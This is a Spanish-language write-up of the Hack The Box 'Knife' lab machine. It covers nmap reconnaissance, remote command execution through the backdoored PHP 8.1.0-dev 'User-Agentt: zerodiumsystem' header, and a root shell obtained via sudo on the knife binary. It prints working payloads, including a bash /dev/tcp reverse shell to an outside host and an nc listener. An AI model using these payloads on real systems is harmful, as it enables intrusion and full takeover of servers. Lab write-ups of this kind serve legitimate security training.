Knife es una máquina de dificultad Easy
en la plataforma Hack The Box.
En esta máquina, explotaremos una vulnerabilidad de la versión 8.1.8-dev
de PHP
mediante un RCE
.
Reconocimiento
Realizaremos un escaneo con nmap
para descubrir puertos abiertos en la máquina víctima:
1
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts
Vemos que están abiertos el puerto 22
y el 80
.
Vamos a realizar un escaneo de servicios y versiones sobre estos puertos:
1
nmap -sCV -p22,80 10.10.10.242 -oN versions
Podemos ver que por el puerto 22
corre un servicio SSH
y por el 80
un HTTP
.
Con curl
haremos una petición en la web a ver que nos devuelve:
1
curl -i 10.10.10.242
Explotación
Como podemos ver en la cabecera del output
que nos devuelve el curl
, la web es lanzada por un servicio PHP/8.1.0-dev
Si buscamos información sobre esta versión de PHP
, podemos ver que esta es vulnerable a un RCE
(Remote Command Execution) utilizando la cabecera:
1
User-Agentt: zerodiumsystem(‘command’);
Podemos realizar una prueba para ver si el RCE
da resultados:
Inyectamos código en la máquina victima mediante el User-Agent
1
2
3
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"id\"');"
uid=1000(james) gid=1000(james) groups=1000(james)
Como podemos ver el RCE
funciona, así que vamos a conseguir una reverse shell
:
1
curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.8/443 0>&1\"');"
En otra consola nos pondremos en escucha con nc
por el puerto que hayamos indicado:
1
nc -lvnp 443
Y ya tendriamos acceso a la máquina víctima:
Escalada de Privilegios
Para realizar la escalada ejecutaremos
1
sudo -l
para ver los binarios
que podemos ejecutar como root
, los cuales en este caso son los siguientes:
Si ejecutamos /usr/bin/knife
podemos ver que hace:
1
2
3
james@knife:/$ /usr/bin/knife -h
knife exec [SCRIPT] (options)
Usaremos esto para conseguir una consola como root, para ello ejecutaremos el siguiente comando:
1
2
3
james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
uid=0(root) gid=0(root) groups=0(root)
Y ya tendremos acceso como root a la máquina víctima.
Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!